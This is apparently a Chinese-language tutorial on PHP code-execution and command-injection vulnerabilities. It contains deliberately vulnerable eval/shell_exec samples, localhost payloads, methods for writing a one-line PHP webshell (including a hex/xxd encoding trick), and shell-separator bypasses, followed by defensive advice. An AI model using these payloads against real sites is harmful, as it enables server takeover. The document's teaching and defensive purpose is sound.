本質:用了相關函數、卻存在可以控制的變量。
發現:工具 掃描、代碼審計
代碼執行:
代碼執行產生函數:eval,assert等,
code_eval.php:
<?php $code=$_GET["name"]; eval($code); ?>
payload:http://127.0.0.1/code_eval.php?name=echo phpinfo();
eval():將這串代碼以php執行
利用:
http://127.0.0.1/code_eval.php?name= echo ^<?php eval($_POST[pandas]); ?^> >C:/wwwroot/webshell.php
代碼注入的防治:
-
升級到PHP 7.1,該版本對大部分常見的執行動態代碼的方法進行了封堵。
-
php.ini中,關閉“
allow_url_fopen
”。在打開它的情況下,可以通過phar://
等協議丟給include
,讓其執行動態代碼。 -
php.ini中,通過
disable_functions
關閉exec,passthru,shell_exec,system
等函數,禁止PHP調用外部程序。 -
永遠不要在代碼中使用eval。
-
設置好上傳文件夾的權限,禁止從該文件夾執行代碼。
-
include 文件的時候,注意文件的來源;需要動態include時做好參數過濾。
- 對於preg_replace()函數,要放棄使用/e修飾符,也可以使用preg_replace_callback()函數代替。如果一定要使用該函數,請保證第二個參數中,對於正則匹配出的對象用單引號包裹 因為mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) /e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼(在適當的逆向引用替換完之后)。
命令執行(命令注入):
本質:命令執行產生函數:exec,shell_exec,system,passthru等將參數以dos、shell執行
exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引號` 實際上是使用shell_exec()函數,此外還要小心mail()函數的安全
system() 輸出並返回最后一行shell結果。
exec() 不輸出結果,返回最后一行shell結果,所有結果可以保存到一個返回的數組里面。
passthru() 只調用命令,把命令的運行結果原樣地直接輸出到標准輸出設備上。
popen()、proc_open() 不會直接返回執行結果,而是返回一個文件指針
cmd_eval.php:
<?php $cmd=$_GET["name"]; echo shell_exec($cmd); ?>
payload:http://127.0.0.1/cmd_eval.php?name=netstat%20-ano
http://127.0.0.1/cmd_eval.php?name=ipconfig
命令執行利用及繞過姿勢
寫入webshell:
利用命令注入寫一句話php webshell到web目錄涉及到一些特殊字符的轉義,假設需要寫入<?php eval($_POST[kang]); ?>,方法如下:
WINDOWS:用^轉義<,即執行echo ^<?php eval($_POST[kang]); ?^> > web可寫目錄加文件完整名字
linux下需要用\來轉義<,不過很多php都默認開啟gpc(魔術引號magic_quotes_gpc())。可以先用16進制轉換一句話再用xxd命令把16進制還原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可寫目錄加文件完整名字
后面命令注入也有時間盲注和sql注入很像
| 命令管道符
<>>> 文件重定向符
測試: 0 | dir c:
代碼只過濾了部分特殊字符,可以考慮用其他字符進行測試,這邊列舉一下Window/Linux可利用的特殊字符:
windows支持:
| 直接執行后面的語句 ping 127.0.0.1|whoami
|| 前面出錯執行后面的 ,前面為假 ping 2 || whoami
& 前面的語句為假則直接執行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的語句為假則直接出錯,后面的也不執行,前面只能為真 ping 127.0.0.1&&whoami
Linux支持:
; 前面的執行完執行后面的 ping 127.0.0.1;whoami
| 管道符,顯示后面的執行結果 ping 127.0.0.1|whoami
11 當前面的執行出錯時執行后面的 ping 1||whoami
& 前面的語句為假則直接執行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的語句為假則直接出錯,后面的也不執行,前面只能為真 ping 127.0.0.1&&whoami
如何防止命令執行漏洞
PHP內置的兩個函數可以有效防止命令執行:
1. escapeshellarg() 將給字符串增加一個單引號並且能引用或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字符串傳入 shell 函數,並且還是確保安全的。對於用戶輸入的部分參數就應該使用這個函數。資料參考:http://cn.php.net/manual/zh/function.escapeshellarg.php
2. escapeshellcmd() 對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義。 此函數保證用戶輸入的數據在傳送到 exec() 或 system() 函數,或者 執行操作符 之前進行轉義。資料參考:http://cn.php.net/manual/zh/function.escapeshellcmd.php
3. php中禁止disable_functions(禁用一些危險函數)
4. 參數值盡量使用引用號包裹,並在拼接前調用addslashes進行轉義
當然,修復方法還有很多方式,修復方式一般有兩種思維:
1、黑名單:過濾特殊字符或替換字符 2、白名單:只允許特殊輸入的類型/長度